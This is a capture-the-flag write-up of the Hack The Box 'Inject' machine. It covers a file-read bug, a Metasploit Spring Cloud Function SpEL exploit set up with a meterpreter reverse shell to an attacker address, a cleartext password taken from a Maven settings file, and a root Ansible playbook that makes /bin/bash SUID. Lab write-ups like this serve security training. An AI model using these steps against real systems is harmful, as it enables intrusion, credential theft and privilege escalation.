HTB — *Inject*

I ran a fast port scan, focused on the web app on port 8080, found a file-read path and a Spring Cloud dependency that was exploitable via SpEL injection, used the Metasploit module to get a meterpreter as a non-privileged user, discovered credentials in a Maven settings file, then abused a root-running Ansible automation to escalate to root.

Recon & enumeration

I started with an aggressive nmap sweep to see everything on the box. The important output was that the host had SSH on 22 and an HTTP service on 8080 — 8080 was the one I chased. Here's the exact nmap line I used (copied from the original run):

Nmap 7.70 scan initiated Fri Jun 9 14:45:31 2023 as: nmap -p- --min-rate 10000 -oA result 10.10.11.204

PORT   STATE SERVICE

22/tcp open ssh

8080/tcp open http-proxy

Once I hit the web app on 8080 I found an image upload feature. Uploaded images could be viewed via a /show_image?img=xxxx.png endpoint — that gave me a way to probe file handling. The app didn't let me trivially upload arbitrary files, but I could use paths to read files (so arbitrary file read was possible). Medium

---

Getting a shell as a user

I downloaded the application files I could read and checked pom.xml and other artifacts. Those hinted the app was built with Spring Cloud Function — which is relevant because certain versions are vulnerable to SpEL injection. After confirming that, I used Metasploit's spring_cloud_function_spel_injection module and set it up with my LHOST/LPORT and the target options. The module options looked like this when I inspected them:

```
msf6 exploit(multi/http/spring_cloud_function_spel_injection) > options

Module options (exploit/multi/http/spring_cloud_function_spel_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   RHOSTS    10.10.11.204     yes       The target host(s)
   RPORT     8080             yes       The target port (TCP)
   TARGETURI /functionRouter  yes       Base path
   ...
Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.65      yes       The listen address
   LPORT  4444             yes       The listen port
```

After running the exploit I landed a meterpreter session on the host. That gave interactive access as the application user. Medium

---

Finding useful credentials (pivot to another user)

From the shell I started poking around the home directories. In /home/frank/.m2 there was a settings.xml that contained an entry for a Maven server with a username and password. The ls and cat outputs looked like this:

```
ls -al /home/frank/.m2

total 12

drwx------ 2 frank frank 4096 Feb  1 18:38 .

drwxr-xr-x 8 frank frank 4096 Jun 10 13:09 ..

-rw-r----- 1 root  frank  617 Jan 31 16:55 settings.xml


cat /home/frank/.m2/settings.xml

<?xml version="1.0" encoding="UTF-8"?>

<settings ...>

 <servers>

  <server>

   <id>Inject</id>

   <username>phil</username>

   <password>DocPhillovestoInject123</password>

   ...

  </server>

 </servers>

</settings>
```

That gave me Phil's password (DocPhillovestoInject123) — useful to try other services or accounts on the machine. Medium

---

Privilege escalation to root

I ran a quick enumeration script (the author used LinEnum) which revealed a root process running Ansible that was executing playbooks from /opt/automation/tasks/. The ps-like lines the author found included:

root 88559 0.0 0.0 2608 600 ? Ss Jun09 0:00 /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

root 88561 0.0 0.4 172088 16960 ? Sl Jun09 0:00 /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/evil.yml /opt/automation/tasks/playbook_1.yml

root 88564 5.3 1.3 137764 54156 ? Sl Jun09 48:18 /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/evil.yml

That told me Ansible was running as root and consuming playbooks from /opt/automation/tasks/. If an attacker can write to that directory (or modify a playbook executed as root), they can get privileged actions executed by Ansible. Medium

The exploit the author used was to create a tiny playbook that runs a command as root to set the setuid bit on /bin/bash. The playbook looked like this:

```
- hosts: localhost
 tasks:
 - name: Exploit task
   command: chmod u+s /bin/bash
   become: true
```

After the playbook ran, /bin/bash had the SUID bit:

ls -al /bin/bash

-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash

From there the author ran bash -p (to preserve elevated privileges with the SUID shell) and read the root flag:

bash -p

cat /root/root.txt

That gave full root on the machine.

Notes & takeaways

- Start with broad, fast enumeration (nmap + directory bruteforce) to find web endpoints and upload/view features. The author's initial nmap line is a good example of an aggressive scan. Medium
- If you can read files from the web app, pull any build files (pom.xml, settings.xml) — they often leak dependencies and credentials. The Maven settings.xml here contained a cleartext password that accelerated lateral moves. Medium
- Spring Cloud Function and SpEL injections are a known class of issue — if the Java artifacts reference Spring Cloud you should investigate relevant CVEs and exploit modules (Metasploit has a spring_cloud_function_spel_injection module). Medium
- Any automation that runs as root (Ansible, cronjobs, CI runners) is an excellent privilege escalation target if you can either write into the directory it loads from or influence what it executes. Always check for root jobs executing playbooks, scripts, or other files in writeable locations. Medium